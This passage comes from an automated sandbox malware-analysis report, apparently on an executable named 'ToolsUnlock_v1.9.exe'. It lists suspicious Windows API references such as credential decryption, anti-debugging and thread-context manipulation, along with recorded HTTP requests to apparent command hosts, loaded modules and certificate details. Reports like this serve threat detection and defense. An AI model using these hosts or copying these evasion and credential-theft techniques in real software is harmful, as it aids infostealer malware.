00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalSize"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Thread32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Thread32Next"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Process32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Process32Next"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Module32First"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Module32Next"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CheckRemoteDebuggerPresent"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "OpenEventA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetLogicalDriveStringsA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegEnumValueA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentHwProfileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SHFileOperationA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HttpQueryInfoA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetSetOptionA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetCrackUrlA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetQueryOptionA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "InternetGetLastResponseInfoA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptSetProperty"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptDecrypt"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BCryptDestroyKey"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")3a:T8da,Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")3b:T582,Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "User-Agent: %s" (Indicator: "user-agent: "; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0GET /hgo9tx HTTP/1.1" (Indicator: "mozilla/5.0 ("; Source: "00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "user-agent: "; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp")3c:T71b,"GET /hgo9tx HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri 08 May 2026 14:17:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12351 Connection: keep-alive Set-Cookie: stel_ssid=814c2e01265d22b69f_12057750843775826685; expires=Sat 09 May 2026 14:17:57 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: dzp.hidayahnetwork.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Response ==> HTTP/1.1 200 OK Date: Fri 08 May 2026 14:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OM55%2Br9kfS%2BU6VA7%2BcKFYb7rz9B5lP6P%2FBM3ndkiw3YmYxRw8speLrxjty09aSZc8wB%2BKkZOBKpbYtcgAu9z63klKQiqI2c0l0E6CpQNKD0Wg2MsB%2BmazneT0F1x7d%2FLISf4UaogT3Zx"}]} Server: cloudflare vary: Accept-Encoding cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=9 cfOrigin;dur=803 CF-RAY: 9f891748089dcd36-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B.......3d:Td5f,"ToolsUnlock_v1.9.exe" loaded module "KERNEL32" at base 7ffa79ac0000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 201cff90000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa78390000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa59490000 "ToolsUnlock_v1.9.exe" loaded module "KERNEL32.DLL" at base 7ffa79ac0000 "ToolsUnlock_v1.9.exe" loaded module "ADVAPI32.DLL" at base 7ffa7a490000 "ToolsUnlock_v1.9.exe" loaded module "NTDLL.DLL" at base 7ffa7bee0000 "ToolsUnlock_v1.9.exe" loaded module "WINMM.DLL" at base 7ffa6f650000 "ToolsUnlock_v1.9.exe" loaded module "WS2_32.DLL" at base 7ffa7a570000 "ToolsUnlock_v1.9.exe" loaded module "POWRPROF.DLL" at base 7ffa78250000 "ToolsUnlock_v1.9.exe" loaded module "GDIPLUS.DLL" at base 7ffa65ed0000 "ToolsUnlock_v1.9.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffa7a760000 "ToolsUnlock_v1.9.exe" loaded module "SHELL32.DLL" at base 7ffa7aa70000 "ToolsUnlock_v1.9.exe" loaded module "CRYPT32.DLL" at base 7ffa78600000 "ToolsUnlock_v1.9.exe" loaded module "WININET.DLL" at base 7ffa66c40000 "ToolsUnlock_v1.9.exe" loaded module "BCRYPT.DLL" at base 7ffa77d90000 "ToolsUnlock_v1.9.exe" loaded module "RPCRT4.DLL" at base 7ffa7a5e0000 "ToolsUnlock_v1.9.exe" loaded module "SSPICLI.DLL" at base 7ffa78130000 "ToolsUnlock_v1.9.exe" loaded module "USER32.DLL" at base 7ffa79f10000 "ToolsUnlock_v1.9.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 7ffa5a550000 "ToolsUnlock_v1.9.exe" loaded module "WINHTTP.DLL" at base 7ffa74870000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffa5a550000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffa77ac0000 "ToolsUnlock_v1.9.exe" loaded module "MSISO.DLL" at base 7ffa657b0000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffa6fd80000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffa710e0000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 7ffa7a570000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffa77610000 "ToolsUnlock_v1.9.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffa675b0000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 201f7f30000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffa776d0000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffa78a40000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7ffa57650000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffa78600000 "ToolsUnlock_v1.9.exe" loaded module "CRYPTNET.DLL" at base 7ffa57650000 "ToolsUnlock_v1.9.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffa678500003e:T64d,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 27:5D:98:E8:AC:40:FA:51:49:0A:19:82:FD:62:19:54:D6:FF:E4:C1; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 4A:7A:E5:C0:AB:80:C9:25:E0:D1:7E:CE:DB:5D:C2:B6:45:F2:9B:DF; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=WE1" (SHA1: A1:B7:8E:C3:B0:AD:30:F0:DA:41:FE:95:9B:08:8B:8B:38:59:F9:9E; see report for more information)3f:T9da,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.getLoadLibraryEx" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.getLoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._LoadLibraryExA" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._LoadLibraryExW" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime.useLoadLibraryEx" (Indicator: "LoadLibrary"; File: "ToolsUnlock_v1.9.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime.useLoadLibraryEx" (Indicator: "LoadLibrary"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")40:T657,"ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; 